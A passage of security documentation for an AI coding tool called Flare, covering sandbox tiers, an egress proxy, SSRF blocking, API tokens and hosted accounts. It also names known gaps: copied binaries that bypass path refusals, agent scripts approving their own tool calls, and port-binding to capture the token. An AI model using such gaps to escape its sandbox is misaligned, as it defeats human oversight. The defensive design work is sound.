On macOS it is Seatbelt (`sandbox-exec`) with an SBPL profile that denies out-of-workspace writes (including the `defaults`/cfprefsd confused-deputy path) and gives the command the card's own temp folder as `TMPDIR`, with the shared `/tmp` neither writable nor readable; with network on it also refuses connecting to any unix socket outside the workspace except the system DNS resolver. LaunchServices and Apple Events are withheld, and `/usr/bin/open`, `osascript` and `launchctl` are refused at their system paths, since each starts a process outside the sandbox; the refusal is by path, so a copy of one of them made elsewhere is not stopped by it. Because Seatbelt is allow-default it is still best-effort against other daemon-mediated effects, so the Linux tier is the stronger one.

**Safety → Allow sandbox network** (`off`) (or `false`/`0`/`no`/`none`) additionally denies outbound network, and known provider credentials are scrubbed from the sandboxed environment. **Safety → Domains the sandbox may reach** (comma-separated, `*` by default) narrows outbound network by domain. `example.com` is that host alone, `*.example.com` is every host under it, and `@standard` stands for `github.com`, `api.github.com`, `codeload.github.com`, `objects.githubusercontent.com`, `registry.npmjs.org`, `pypi.org`, `files.pythonhosted.org`, `crates.io`, `static.crates.io` and `index.crates.io`. It is enforced below the process by the `os` tier (Linux and macOS, through Flare's egress proxy) and by the `sandbox-runtime` tier (Windows); the `container` tier has no network at all and the `local` tier is unconfined, so with a narrowed list there Flare logs on boot that the list is not in effect.

**The egress proxy** is how the `os` tier narrows by domain. Flare starts one HTTPS (`CONNECT`) proxy on first use, and a confined command's only network is that proxy: under Seatbelt every network operation but the proxy's loopback port is denied; under bwrap the command runs in a network namespace with no interfaces but its own loopback, the proxy's unix socket is bound in, and a small relay started with the command forwards the command's loopback port to it (the command starts only once the relay listens, and does not run if the relay cannot). The command gets `HTTP_PROXY`, `HTTPS_PROXY`, `ALL_PROXY` and Node's `NODE_USE_ENV_PROXY`, so `git`, `npm`, `pip`, `cargo` and `curl` just work; a tool that ignores them has no other route and fails. The proxy tunnels only to a listed host name on port 443, never to an address (decimal, hex and IPv6 spellings included), resolves the name once and connects to that answer, and refuses a name that resolves to a private, loopback or link-local address, so a listed name cannot be pointed at Flare's API or a cloud metadata service. It caps open tunnels, closes idle ones, and answers a refusal with the reason, which is logged once per host so you can see what to add. There is no credential swap: nothing secret passes through the proxy, and a sandboxed `git push` still goes through Flare's own landing path. Plain HTTP, other ports (ssh, git://) and anything not on the list are refused. If the proxy cannot start, the command gets no network at all, never an open one. The list is read on every connection from the server's own copy of the settings, which a save re-reads, so a save applies at once, to sandboxes already running too (if the server logs that it could not re-read the settings, the old list stays until a later save or a restart; a hand edit of the settings file needs a restart) (an empty list allows everything, like `*`; an entry that is not a host name, such as one with `https://` or a port, matches nothing and is warned about on boot).

**What a narrowed list changes for a command's own servers.** Under bwrap the command's loopback is private to its sandbox: a dev server it starts and a client it runs next to it reach each other, but your browser cannot reach that server. Under Seatbelt every network operation but the proxy is denied, so a command cannot listen on a port or reach a local server at all; a test suite that starts its own server needs the list left at `*` there. The proxy is shared by every sandbox, so one command that opens hundreds of tunnels can make the others' new connections wait (503).

Choosing `os` on Windows — or any unknown **Safety → Sandbox tier** value — fails closed at boot with a pointer to `container`/WSL2 rather than silently running unconfined.

Resource bounds are available on both confining tiers, all hidden settings set by hand in `~/.flare/settings.json`, and all opt-in except the container PID limit. The container tier maps to Docker's own flags (`safety.containerMemory`, `safety.containerCpus`, and `safety.containerPids`, which defaults to 4096; `0` turns it off). The `os` tier has no cgroups to lean on, so `safety.rlimitAddressSpaceKb`, `safety.rlimitProcesses`, `safety.rlimitFileSizeKb` and `safety.rlimitCpuSeconds` become `ulimit` calls inside the confined shell — blunter instruments, which is why none has a default: `-v` bounds _virtual_ address space (Node and the JVM reserve far more than they use, and can fail to start), `-u` is counted per user rather than per process tree, and `-t` bounds CPU seconds rather than elapsed time. Background terminals also honour `safety.processMaxMs`, a wall-clock ceiling that is off by default because a dev server is meant to keep running — set it for unattended runs, where a started watcher would otherwise outlive everything.

### SSRF-safe egress

**What it does** — Every outbound web request the model can steer — the `web_fetch` connector, `@Web` mentions — goes through one shared egress gate. It enforces http(s)-only, blocks private, loopback, link-local, and cloud-metadata addresses (including IPv4-in-IPv6 and other encoded forms), and re-validates the **final** URL after redirects, so a public decoy page can't 302 a fetch into `169.254.169.254` and hand internal credentials to a hostile prompt.

**How it works** — The private-address block applies whenever no host allowlist is configured (the default). Setting an explicit allowlist is an operator opt-in that may deliberately include internal hosts (e.g. `localhost` for testing a dev server) — with an allowlist, redirects are refused rather than followed off-list.

**Configuration** — Per-connector `valves.allowedHosts` in `.flare/connectors.json`. An untrusted project's `allowedHosts` is dropped and logged, since a list may name internal hosts.

### API token & network lockdown

**What it does** — Locks the HTTP API itself down. Every non-public route requires a token. By default the server binds **127.0.0.1 only**, mints a per-install token into `~/.flare/api-token`, and also rejects browser requests whose `Host` or `Origin` isn't local. Loopback alone is not an identity: an agent's script inside the sandbox reaches `127.0.0.1` too, and without a token it could approve its own tool calls or install a hook. The token lives in the Flare home, which every confining sandbox tier hides, so the script cannot present it. Setting `FLARE_API_TOKEN` replaces the per-install token with yours, which is what makes tunneled/remote access safe.

**Where to find it** — Environment only (it's a boot-time property, not a pane): `FLARE_API_TOKEN`, `FLARE_BIND`, `FLARE_WEB_ORIGINS`, `FLARE_ALLOWED_HOSTS`. The boot log states the active mode — `API auth: per-install token (…/api-token)` or `API auth: token required (FLARE_API_TOKEN)` — and, locally, the access link.

**How to use it** —

1. Local, single-machine use: open the access link the server prints (`http://127.0.0.1:5173/#flare-token=…`) once per browser. The web client keeps the token for that origin and sends it as a header; a browser without it shows **Pair this browser with Flare**, where you can paste the link. Delete `~/.flare/api-token` to rotate it; every browser then needs the new link.
2. Remote access (phone, tunnel, reverse proxy): set `FLARE_API_TOKEN` to a long random value and point the web client at it with `VITE_FLARE_TOKEN`; expose the port via your tunnel of choice.
3. Binding beyond loopback (`FLARE_BIND=0.0.0.0`, containers) **requires** the token — the server refuses to boot without it rather than open an unauthenticated API to the network.

**How it works** — The gate sits directly behind CORS on every route except `/health`, matched exactly so no future route inherits the exemption. A read of `/account/status`, the OAuth endpoints and `/mcp`, which a caller reaches without the token, stay behind the Host and Origin checks. `/health` answers `{ ok, service, ready }` and nothing more, since a body an unauthenticated caller can read should not also carry a project count and a restart clock. Token comparison is constant-time over digests, so neither the token's content nor its length leaks. The browser keeps the per-install token in its own origin's storage and sends it as a header, never as a cookie: a cookie would ride along from any other page on `localhost`, such as a dev server an agent just edited. The token is masked like any registered secret, and `.flare/api-token` is a credential file, so read tools refuse it and a command naming it asks first. The web client and its dev server use `127.0.0.1` rather than `localhost`, and Vite holds its port strictly: a second listener on the other address family, or a silent move to the next port, would otherwise serve the origin that keeps the token. On macOS the `os` tier also denies sandboxed children both connecting to and binding Flare's API and web ports; `VITE_FLARE_TOKEN` is scrubbed from every child and masked. The web server sends a Content-Security-Policy:

- scripts load only from the GUI's own origin;
- requests go only to it and the API origin (`VITE_FLARE_URL`);
- images come only from the page itself, `data:` and `blob:`, and fonts only from the page itself (the app ships its own font files) and `data:`;
- frames come only from the page itself;
- nothing may frame the GUI.

It also sends `Referrer-Policy: no-referrer` and `Cross-Origin-Opener-Policy: same-origin` (every window the app opens is `noopener`).

An injected `<script src>` from elsewhere is refused, and so is a request to another host. Eval is refused too; zod runs `jitless`. The shell, board, settings and off-path e2e specs count any refusal as a console error. The build bakes `VITE_FLARE_URL` in, so start `vite preview` with the same value, or the policy points at the default API.

The policy does not stop injected _markup_ from running code. Inline scripts and handlers stay allowed, because:

- an MCP app's `srcdoc` frame inherits this policy (its own is stricter), and apps use inline handlers;
- the dev server's refresh preamble is inline.

What stands between such markup and the page is that the GUI renders no raw HTML: React escapes everything, and markdown links pass `safeHref`. Code that does run in the page can still navigate away carrying the token, and no CSP blocks that.

What this does not cover: on the `local` tier nothing is confined, so agent code can read the token file like any other file you can read — the credential floor only catches commands that name it plainly. On Linux while sandbox network is on and **Safety → Domains the sandbox may reach** is `*` (bwrap then keeps the host network), and on the Windows tier, a sandboxed process that binds the web port while the web server is down could serve that origin to a tab that reloads. Choose `container` (no network) when that matters. On Windows the token is written inside a directory made private first and restricted to its owner (by SID) on every boot, and Flare refuses to start from a Flare home other accounts can write — the usual state of a `FLARE_HOME` outside your profile — because the sandbox account could plant the token or edit `settings.json` there. The refusal names the `icacls` command that fixes it. With `FLARE_API_TOKEN` the host/origin checks step aside (tunnel hostnames vary) — except that, once `FLARE_ALLOWED_HOSTS` or `FLARE_PUBLIC_URL` is set, the OAuth endpoints and `/mcp` answer only for those hosts (and loopback), and discovery is never cached; with the per-install token they stay on, and loopback origins (any port — the Vite dev server) are allowed automatically and `FLARE_WEB_ORIGINS`/`FLARE_ALLOWED_HOSTS` extend the allowlists. CORS is an allowlist too — a wildcard would let any web page read API responses. The SDK's `FlareClient` accepts a `token` option and stamps it on every request, SSE streams included.


## Hosted Flare

Flare as a shared server: people sign in, a project is a GitHub repository, and a card runs in a cloud sandbox instead of on the server. [SETUP.md → Hosted](https://github.com/Flare-Agentic/flare/blob/main/SETUP.md#hosted) is the operator's setup procedure for Fly.io and [Running hosted Flare](https://github.com/Flare-Agentic/flare/blob/main/docs/deploy.md) the one for operating it; the sections below say what the server does and refuses.

### Sandbox execution

**What it does** — Runs each card in its own Upstash Box cloud sandbox instead of a git worktree on the machine Flare runs on: Flare uploads the code as a git bundle, the box runs installs, commands and tests, and only the resulting tree comes back; Flare authors every commit. It is the only place a hosted server runs a card, and a desktop project can choose it too. This area holds what that needs: the Upstash key, the box sizes, how many boxes may run at once, which hosts a box may reach, and a monthly spending cap.

**Where to find it** — **Settings → Sandbox** for the instance. A project's own choice is under **Project settings → Where cards run**, and a card's box shows on the Overview tab of its inspector (see _In a sandbox project_ under the Card inspector).

**How to use it** — Save the Upstash Box API key, then click **Test connection**: it lists this install's boxes with the saved key and creates nothing. **Unknown sandboxes** lists boxes with this install's label that Flare has no record of; only you delete them.

**What it refuses to do** — Start a sandbox card without an Upstash Box API key (Refine and Start say where to add one), start a box once the monthly budget is spent, or let a box reach any host outside the allowed domains. A project's choice is never read from its repository.

**Configuration** — **Sandbox → Upstash Box API key** (or `UPSTASH_BOX_API_KEY`; sealed in the settings vault, sent only to the Upstash Box API, never into a box), **Card sandbox size** (default Small) and **Verify sandbox size** (default Medium), **Sandboxes at once** (default 4), **Domains a sandbox may reach** (default `registry.npmjs.org`, `registry.yarnpkg.com`), **Monthly sandbox budget** (default $25; `0` removes the cap). Hidden in `~/.flare/settings.json`: `box.baseUrl` (default `https://us-east-1.box.upstash.com`), `box.warmBoxes` (default `1`), `box.maxBlobBytes` (default `52428800`) and `box.maxSyncBytes` (default `524288000`). **Where new projects run their cards** (`fleet.execution`, hidden: `local` or `sandbox`) is the choice each project starts with when you add it; changing it moves no existing project. Unset (_Automatic_), new projects run _On this computer_ on a desktop install; a hosted Flare starts every new project _In a sandbox_, whatever this says. Flare keeps each project's choice on its own record and never reads it from the repository's `.flare/settings.json`.

### Hosted mode

**What it does** — Runs Flare as a shared server that holds other people's repositories. Projects come from GitHub, a project's cards run only in sandboxes, and nothing from a repository runs on the server itself. The server's own engines for a project get a sandbox that runs nothing, and the posture forces workspace plugins, language servers and the local warm pool off. **Where cards run** offers only _In a sandbox_ ("A hosted Flare runs every project's cards in a sandbox, never on the server."); switching a project to `local` answers 403 "hosted Flare runs a project's cards only in a sandbox, never on the server itself — switch the project to In a sandbox", and a card of a project whose record still says `local` is refused with the same words rather than run.

**What is off** — Adding a project by path, browsing the server's folders, the eval harness, lifecycle hooks, local MCP servers, ACP agents, language servers, workspace plugins, project export and signing in to an MCP server (its callback would listen on the server) are off; sessions outside cards are read-only ("hosted Flare changes code only through cards — this session is read-only"). A route for one of them answers 403 with its reason (for example "hosted Flare adds projects from GitHub only — add it by URL (https://github.com/<owner>/<repo>)"), a feature the engine would load logs its reason once and stays off, and the server registers no default project at boot. A project's HTTP MCP servers still connect, but never to a loopback, link-local or private address, nor to the server's own public host: such a server is dropped by name, and every request of the rest goes through the pinned fetch, so a name that resolves inward is refused at each connection.

**Projects from GitHub** — `POST /projects { url }` takes `https://github.com/<owner>/<repo>` and nothing else (no other host, scheme, port, credentials, query or extra path; a refusal answers 400 "hosted Flare adds projects from GitHub: use https://github.com/<owner>/<repo>"), and refuses with a pointer to the setting when no GitHub token is set. The repository is cloned into `FLARE_HOME/repos/<project id>` with `core.symlinks=false` written into the clone's own config, so a symlink checks out as a plain file now and on every later checkout. The project is trusted for box execution and prompt content and runs its cards in sandboxes. The token is the sealed `fleet.shipToken`: it reaches the clone only as an `http.https://github.com/.extraheader` entry in that one git process's `GIT_CONFIG_*` environment — never its arguments, a file or the clone's config — with https the only protocol allowed, no redirect followed, no credential helper asked, no submodule entered, no system or global git config read and config-defined hooks off. The clone checks nothing out while it carries the token; the checkout is a second git process without it, so no filter or LFS driver ever sees the token. A repository that tracks Flare's own state under `.flare/` (anything but its workspace files: `settings.json`, `hooks.json`, `lsp.json`, `acp.json`, `skills.json`, `rubric.md`, `rules/`, `skills/`) is refused before that checkout and logged as an error. A failed clone marks the project failed with git's message (the token never in it) and says what to do when GitHub refused the credentials; a repository with no default branch yet is refused the same way. The branch `origin/HEAD` names once the clone finishes is recorded on the project as its default branch; a hosted project's sandbox snapshots build from that branch alone (never a card's), where a desktop project's choose between `main` and `master`. The desktop clone (any public host, ssh and git URLs, a chosen parent folder) cannot be reached on a hosted server.

**Origin sync** — Before a card's branch is cut, before a card's base is merged into its branch, and every 5 minutes, a hosted project fetches its default branch from GitHub (no tags, no submodules, the same pins and token handling as the clone) and fast-forwards the server's checkout when it is on that branch and clean (a dirty checkout is fetched, not moved, and logged), never overwriting an ignored file. It fetches the recorded URL with explicit refspecs, never the remote by name, reading no system or global config, with the proxy, TLS verification, redirects, alternates command, credential helper and config-defined hooks pinned for that one child. It refuses, and the card branch is not cut, when: the recorded URL is not a GitHub repository; the clone's `origin` (as git would really fetch it, `insteadOf` applied) is no longer that URL; the clone's own config holds anything Flare did not write (only the `core.*` keys a clone writes with `core.symlinks=false`, one `remote.origin.url`, the canonical `remote.origin.fetch` and `branch.*.remote/merge/flarebase/flaremergeinto` pass) or the clone borrows objects through `objects/info/alternates`; the config changed while the token was out (then it says to rotate the token); the checkout is off the default branch; local main has commits origin does not have; GitHub's default branch is no longer the recorded one ("remove the project and add it again"); or the incoming commits touch Flare's own state under `.flare/` (the board, stores, card worktrees: `.flare/` is git-ignored, so a fast-forward would overwrite them), which is logged as an error. A failed fetch carries git's last lines, never the token. Only the fetch child gets the token; the local reads and the fast-forward run without it.

**Landing on GitHub** — On a hosted server every card lands by pushing first, after the clean room verifies the merge. Approve fetches the default branch, merges the card onto origin's tip `T` as Flare's own merge commit (with its `Approved-by:` trailer), and pushes exactly that commit to the default branch with `--force-with-lease=<branch>:T`, through the same token handling as the fetch (the recorded URL, never the remote by name; the clone's config checked before and after). If someone pushed to GitHub meanwhile, the lease refuses, and Flare merges and verifies again, at most twice more, then returns the card to review with "main kept moving". After a successful push the server's checkout fast-forwards when it is on that branch and clean; otherwise only a log line says so, and the next fetch catches up. A refused push moves no local ref. Approve refuses a card cut from a branch other than the default branch, a local main with commits GitHub does not have, and a failed fetch. A merge already on GitHub counts as Flare's own only if it is the exact commit Flare recorded pushing. Anyone who can push can copy Flare's name and trailer. Ship as PR pushes the card's branch through the same token push.

**Protected branches** — When GitHub refuses the push because the branch is protected (`GH006`, rulesets), Flare pushes the verified merge to a branch of its own, `flare/land/<card branch>` (a Ship's pull request on the card branch keeps whatever a reviewer pushed), opens a pull request from it, and merges it itself with `gh pr merge --merge --match-head-commit <that commit>`, so it never merges another head. If GitHub wants reviews or checks first, the card rests in review with "Waiting on GitHub: <GitHub's reason> — merge pull request #N on GitHub; Flare marks the card merged when it sees it on <branch>." A sandbox card's box is let go meanwhile; its branch is kept. After a fetch that moves the default branch, and at a restart, Flare marks a resting card merged once the branch holds the merge it recorded and the card branch has not moved since; Request changes forgets the pull request, so its old merge landing later never marks the revised card done. Flare compares the tree of GitHub's merge commit with the merge it verified. When they differ (the branch moved before GitHub merged, or a person merged another head), the card lands saying the landed tree was not verified by Flare, and which of the two happened; an Approve after GitHub merged it says the same. A repository that does not allow merge commits is refused with that cause.

**Public URL** — `FLARE_PUBLIC_URL` is the origin people and MCP clients reach the server at: https only (http only on a loopback host), with no path, query, fragment or credentials — anything else refuses the boot, and so does `fly.toml`'s placeholder (`https://REPLACE-ME.fly.dev`), a name anyone could claim. Behind a TLS-terminating proxy the request arrives as plain http, so the OAuth discovery documents, the `/mcp` challenge and the protected resource a grant is bound to all name this origin rather than the request URL, and the consent redirect and the pairing link go to it. It joins the CORS and `Origin` allowlists — on a hosted server it and `FLARE_WEB_ORIGINS` are the only pages trusted, since a loopback page there is the visitor's own machine — and its host joins the allowed hosts, so the OAuth endpoints and `/mcp` refuse any other `Host` or an absolute-form request line naming another host. No `X-Forwarded-*` header is read. Without it, a desktop server builds these from the request. A hosted server answers on that one origin: a `GET` or `HEAD` that names any other host (an old domain, a bookmark, an invite link) is redirected (307, never cached) to the same path and query on it, ahead of the web app and the gate, and any other method there is refused. `/health`, loopback and the hosts in `FLARE_ALLOWED_HOSTS` are answered in place.

**Client address** — `FLARE_TRUST_PROXY=fly` (hosted only) takes the client IP the API gate logs from `Fly-Client-IP`, which Fly's edge sets, and only when it is a plain IP address; otherwise, and with `none`, the socket's address. No `X-Forwarded-*`, `X-Real-IP` or `Forwarded` header is ever read, and a guard test fails on any server source that names one. The native folder dialog (`/fs/pick`) checks the socket alone, so a header claiming `127.0.0.1` never opens it. The header is ignored from a peer that may have skipped Fly's edge — its private network (`fdaa::/16`, which `fly proxy` uses) or loopback — and that peer's own address counts instead; the address is for logs and rate limits, never an identity or loopback decision. Sign-in limits count an IPv6 client by its /64 and an IPv4-mapped address as its IPv4 address; off the edge only the per-email limits hold.

**Who is calling** — A hosted server mints, prints and accepts no install token, and refuses `FLARE_API_TOKEN`; it binds beyond loopback without one, because people sign in. It opens `FLARE_HOME/accounts.sqlite` (owner-only) at boot, or refuses to start. Every request is resolved to one person by the `__Host-flare_session` cookie or an `Authorization: Bearer flare_pat_…` personal API token; anything else is `401 unauthorized: sign in to Flare`, except `/health`, the OAuth endpoints MCP clients use, a read (`GET`/`HEAD`) of `/account/status`, and the posts to `/account/setup`, `/account/login`, `/account/recover`, `/account/invite/preview` and `/account/invite/accept`. A request carrying the cookie that changes anything must come from the public origin (`Origin`, and never `Sec-Fetch-Site: cross-site`), and so must those account posts even without one. While no one has an account, the server prints a one-time setup link (`<public URL>/setup#token=…`) and keeps it in `FLARE_HOME/setup-token` (0600).

**Whose Claude** — A hosted server has no instance model credential: each person connects their own Claude, and the work an action starts runs on the Claude of the person who took it ([Connect Claude](#connect-claude); [Signing in](#signing-in--byo-key-or-claude-oauth) for where each login is kept). An action from someone whose Claude is not connected answers 409 "Your Claude is not connected to Flare — sign in to Flare and connect Claude."

**Web app** — A hosted server serves the built web app itself, on its own origin, from `apps/web/dist`; a hosted boot without its `index.html` refuses to start. It sends the Vite dev server's Content-Security-Policy, written by one module for both, except that requests go only to its own origin and frames come only from it. A file is served only by a name Vite writes and only when its real path is a regular file inside that folder: no dotfile, source map, encoded name, or link leading out. Each file carries its own content type and `nosniff`; hashed `/assets/` files are cached for a year, and everything else is revalidated. The server reads each file once and keeps it in memory, by its own name only: rebuild the bundle, then restart. Behind an https `FLARE_PUBLIC_URL`, every answer carries `Strict-Transport-Security: max-age=31536000`. A browser navigation (`Sec-Fetch-Dest: document`, or `Accept: text/html` when that header is absent) to a client route (`/`, `/settings`, `/account`, `/docs`, `/connect`, `/login`, `/setup`, `/invite`, `/recover`, `/p/…`) gets `index.html`. Every other request, the app's own fetch of `/settings` included, reaches the API untouched. The bundle loads ahead of the API gate, signed in or not; nothing else does.

**Configuration** — `FLARE_HOSTED=1`, `FLARE_PUBLIC_URL` (required), `FLARE_MASTER_KEY` (required), `FLARE_TRUST_PROXY=fly` on Fly.io, and the bundle built with `pnpm bundle:web:hosted`. **Integrations → GitHub token for Ship as PR** (`fleet.shipToken`): contents and pull requests read/write on the repositories you add. That script sets `VITE_FLARE_URL=/` itself, because Git Bash rewrites a `/` typed on its command line into a Windows path. The web build refuses a `VITE_FLARE_URL` that is neither a path nor an http(s) URL. It also refuses a `VITE_FLARE_TOKEN` (from the environment or an `apps/web/.env` file) in a bundle whose API is a path: the server would hand that token to anyone. A hosted boot refuses a bundle that contains `FLARE_API_TOKEN` or a `VITE_FLARE_TOKEN` value it can find (16 characters or more: a shorter one is no API token and could match by chance). The deployment guide is [SETUP.md → Hosted](https://github.com/Flare-Agentic/flare/blob/main/SETUP.md#hosted).

**How it works** — Boot reads hosted mode once. A hosted boot without a public URL or master key, or with a mistyped value, refuses to start rather than fall back to desktop behaviour, and locks every keystore opener to the master key. One posture object then answers for the routes, the project runtimes and the engines. A route refuses as its first check (or right after reading the body, where the body decides, as for an MCP entry without a `url`). Only a hosted server answers this 403. On a desktop install, a project set to run in sandboxes keeps each route's own answer, and its engines refuse the same features.

### Accounts and teams

**What it does** — A hosted server knows who is calling. People sign in with an email and a password; scripts use personal API tokens. A desktop install has no accounts: the pairing link and the install token are how a browser and a script get in, and the account routes answer 404 "accounts exist only in hosted mode".

**Setup link** — While no one has an account, the server prints `first run: create the owner account at <public URL>/setup#token=…` and keeps the link in `FLARE_HOME/setup-token` (0600, an owner-only ACL on Windows); a restart reuses it. `POST /account/setup` takes the token, an email, a name (1–80 characters, no control characters or `< >`) and a password (12–256 characters). Whoever presents the token first becomes the owner: the account is created in one transaction, so two people racing with the link end with one owner and one 409. The link is then useless: its digest is forgotten in memory and the file is deleted. A wrong token answers 403, and an address that sends 20 wrong ones in 15 minutes gets 429 for its wrong ones, never for the right token. Once an owner exists, setup answers 409 "setup is already done — sign in instead".

**In the browser** — The web app asks `/account/status` first. On a desktop server it goes on to pairing and the Claude gate. On a hosted server, while no owner exists every page sends you to **Set up Flare** (`/setup`); once one does, a visitor who is not signed in is sent to **Sign in to Flare** (`/login?next=<the page they asked for>`), and lands back on that page after signing in — only a path on Flare's own origin is followed, anything else goes home. The setup page takes the token from the link's fragment (never a query string), removes it from the address bar and history at once, and asks for your name, email, a password of at least 12 characters typed twice; without the token it says where to find the link and shows no form, and once an owner exists it says "Setup is already done." with a link to sign in. A pairing link (`#flare-token=…`) never carries a personal API token: one that does, or one with characters a token cannot have, is removed from the address bar and ignored.

**Your account** — Signed in to a hosted Flare, the top bar's account menu shows your name: it has **Your account** (`/account`) and **Sign out**, which ends this browser's session and opens the sign-in page. The account page has three sections, each linked from its side nav: **Profile** (your name, email, role and when you joined), **Security** (your password, below, and your browser sessions) and **Integrations** (your Claude, personal API tokens and connected apps). A local Flare, which has no accounts, draws the same menu and page with what applies to it: the menu reads **Account** and has no Sign out, **Profile** says it is a local Flare whose only person is its owner and that a paired browser reaches it with no sign-in, there is no **Security**, and **Integrations** holds your Claude and connected apps but no personal API tokens. **Security** lists your browser sessions (when each was last active, its browser and address, **This browser** on the current one, **Sign out** on every other) and **Sign out everywhere**, which asks for a second click, says it also revokes your personal API tokens and connected apps, and then shows on the sign-in page how many sessions ended and how many tokens and apps were revoked — or, if the connected apps could not be revoked, the server's instruction to revoke them by hand. **Integrations → Personal API tokens** lists yours with when each was created and last used, revokes one, and creates one: the new token is shown once, with a **Copy** button and "Scripts send it as Authorization: Bearer <token>", until you press **Done** or leave the page; the browser never stores it.

**Signing in** — `POST /account/login` with an email (any case) and a password. A wrong password and an email with no account get the same 401 "wrong email or password", with the same headers and the same scrypt work; a disabled account gets it too, even with the right password. A password longer than 256 characters is refused before any hashing. A sign-in starts a new session and ends any session cookie the browser brought, so a cookie planted before sign-in never becomes a signed-in session. The setup and sign-in posts must come from the public origin; `FlareClient.signIn` and `setupAccount` therefore work only in a browser (Node's fetch sends no `Origin`).

**Sessions** — The session lives on the server; the browser holds only the `__Host-flare_session` cookie (`HttpOnly`, `Secure`, `SameSite=Lax`, `Path=/`), stored as its sha256. A session ends 30 days after sign-in, or after 7 days unused. `GET /account/sessions` lists your browser sessions (when, from which address and browser, which one is this); `DELETE /account/sessions/:id` ends one; `POST /account/logout` ends this one; `POST /account/logout-all` signs out every browser and revokes every personal API token of yours in one transaction, then revokes every connected app that acts as you (and any approval not yet traded for tokens), and answers how many of each ended (`ended`, `revokedTokens`, `revokedGrants`) — a session someone took over cannot leave behind a token or a connection that outlives it. A token or an approval whose request was still arriving is checked again once its body is in, and answered 401 if its session has ended or its person is disabled meanwhile. If the connected apps cannot be revoked, you are still signed out and the tokens are gone; the answer is a 500 saying to revoke the apps under Your account → Integrations. `GET /account/status` says whether this server has accounts, whether it waits for setup, and who you are; `GET /account/me` answers you.

**Personal API tokens** — `POST /account/tokens { name }` answers `flare_pat_…` once; Flare keeps only its sha256. Send it as `Authorization: Bearer flare_pat_…` (the SDK's `token` option). At most 20 are active per person; `GET /account/tokens` lists them (never the secret) and `DELETE /account/tokens/:id` revokes one. A token cannot manage sign-ins or tokens: the session, token and sign-out-everywhere routes answer it 403 "this needs a browser session", so a stolen token cannot mint its successor or outlive its revocation, and `POST /account/logout` tells it to revoke the token instead. For the same reason a token cannot approve an MCP connection or revoke one (403 "this needs a browser session"); it may list its person's connected apps.

**Limits** — A sign-in is refused (429 "too many failed sign-ins — try again in 15 minutes", one message for every limit) after 5 failures for one email from one address in 15 minutes, 50 for one email from anywhere, or 20 from one address across emails. An IPv6 client is counted by its /64. At most 2 password checks run at once per address, and 4 at once for the whole server with 32 waiting (503 "Flare is busy checking passwords" beyond). Clients Flare cannot tell apart — with `server.trustProxy` none, every visitor behind a proxy arrives from its private address — get no per-address limit, lock or check cap: only the 50-failure email ceiling and the server-wide queue hold, and no shared ceiling exists, so failures spread over many accounts never refuse anyone else. A hosted boot with `server.trustProxy` none logs a warning. Behind such a proxy anyone can still slow sign-ins or fill the queue (503 for everyone, the owner included), and guess more passwords per email than an address would allow: set `server.trustProxy` for your edge (fly on Fly.io). The 50-failure email ceiling counts from every address, so anyone who sends 50 wrong passwords for the owner's email in 15 minutes locks the owner out of signing in until they age out — the price of a limit no spread of addresses gets around; sessions already signed in and personal API tokens keep working. Setup, sign-ins, failed sign-ins on existing accounts, sign-out-everywhere and token changes go into the audit log (`maintain audit`); failures on emails with no account are only counted, once a minute, in the server log.

**Open event streams** — A live event stream (a session's events, a project's feed) counts against the edge's request limit, so the server caps them: 32 open at once per person across both routes (`server.maxStreamsPerPerson`; an API token counts as its person, and the desktop owner as one person), and 300 in all (`server.maxOpenStreams`, below Fly's hard limit of 500 so ordinary requests still fit). Past either a new stream is refused with **429** and closing one frees its slot. A session also holds at most 32 streams of its own.

**Team** — `GET /team/users` lists every person, oldest first, with their role, whether they are disabled and whether their Claude is connected (`claudeConnected`); anyone signed in may read it. `PATCH /team/users/:userId { role?, disabled? }` is the owner's and the admins': `role` is `admin` or `member` (no one becomes the owner here), `disabled` true or false. The owner's account cannot be changed here by anyone, the owner included (403), so the one owner can never be demoted or disabled; no one changes their own role or disables themselves (400); an admin changes, disables or resets members only, never another admin (403 "ask the owner"). Both people are read again in the same transaction as the write, so a change made while the request was arriving counts. Disabling someone, in one transaction, ends all their sessions, revokes their personal API tokens and the pending invites they created; then their connected apps and any approval not yet traded for tokens are revoked (their MCP streams close and the runs those apps started stop), and the sessions and cards they set running stop. Enabling restores the account only: they sign in again with their password, and no session, token or connected app comes back. Making an admin a member revokes, in the same transaction, the pending invites and reset links they made, and then stops the sessions and cards they set running (their connected apps' included) in every project they are no member of. Enabling first revokes any connected app a failed revoke left behind at the disable; if that fails again the answer is 503 and the account stays disabled. Every change is audited with who changed whom, and the role before and after.

**Invites** — The owner and admins invite people from a browser session (a personal API token gets 403): `POST /team/invites { role, projects? }` with `role` `admin` or `member` (never owner); a member's invite may name projects, each once, each `maintainer` or `contributor` (an admin's may not: admins work on every project). The answer shows `<public URL>/invite#token=…` once, valid for 7 days; Flare keeps only its sha256, which is the invite's id. `GET /team/invites` lists the pending ones without their links, and `DELETE /team/invites/:id` revokes one. Whoever holds the link asks `POST /account/invite/preview { token }` for the role, the project names (a project removed since is left out), who invited them and until when, and joins with `POST /account/invite/accept { token, email, displayName, password }`. In one transaction the invite is spent, the account is made with the invite's role and the person joins its projects, so two accepts of one link make one account. The invite and whoever made it are read again in that transaction: a link revoked, or whose maker was disabled or is no longer the owner or an admin, grants nothing, even when that happens while the password is being hashed. The new person is signed in, and a session the browser brought ends. An email that already has an account (in any case) answers 409; an unusable link answers 404, the same answer for every reason. Both public posts must come from the public origin; wrong links and taken emails count toward the per-address limit as wrong setup tokens do. Invites made, revoked and accepted are audited; no link or password ever is.

**Passwords** — `POST /account/password { current, password }` changes your own password from a browser session (a personal API token gets 403). A wrong current password answers 403 and counts toward the sign-in limits for your email, as a failed sign-in does. The session you used stays signed in; every other session ends, and your personal API tokens, any unused reset link for you and your connected apps are revoked. An owner or admin can issue a member a one-time reset link (`POST /team/users/:userId/password-reset`, browser session only, under the same rules as a role change: never the owner, never another admin, never yourself; not for a disabled account). The answer shows `<public URL>/recover#token=…` once, valid for 24 hours; Flare keeps only its sha256, and a newer link for the same person replaces the older. Whoever holds the link can set that person's password, so hand it over privately. An owner who forgets their password runs `flare-maintain recovery-link` on the server: it checks the accounts store read-only, writes only the link's digest to `FLARE_HOME/recovery-token` (0600) and prints a one-time link, valid for 24 hours; the running server redeems it. Either link is redeemed with `POST /account/recover { token, password }` from the public origin. It works once, even with two redeems at once, and sets the password. It ends every session of that person and revokes their tokens and connected apps; it does not sign anyone in. A reset link also dies if the person who issued it loses the right to issue it, or is disabled, or if its target is disabled or becomes an admin out of the issuer's reach. An unusable link answers 404, the same answer for every reason, and wrong links count toward the per-address limit as wrong setup tokens do. 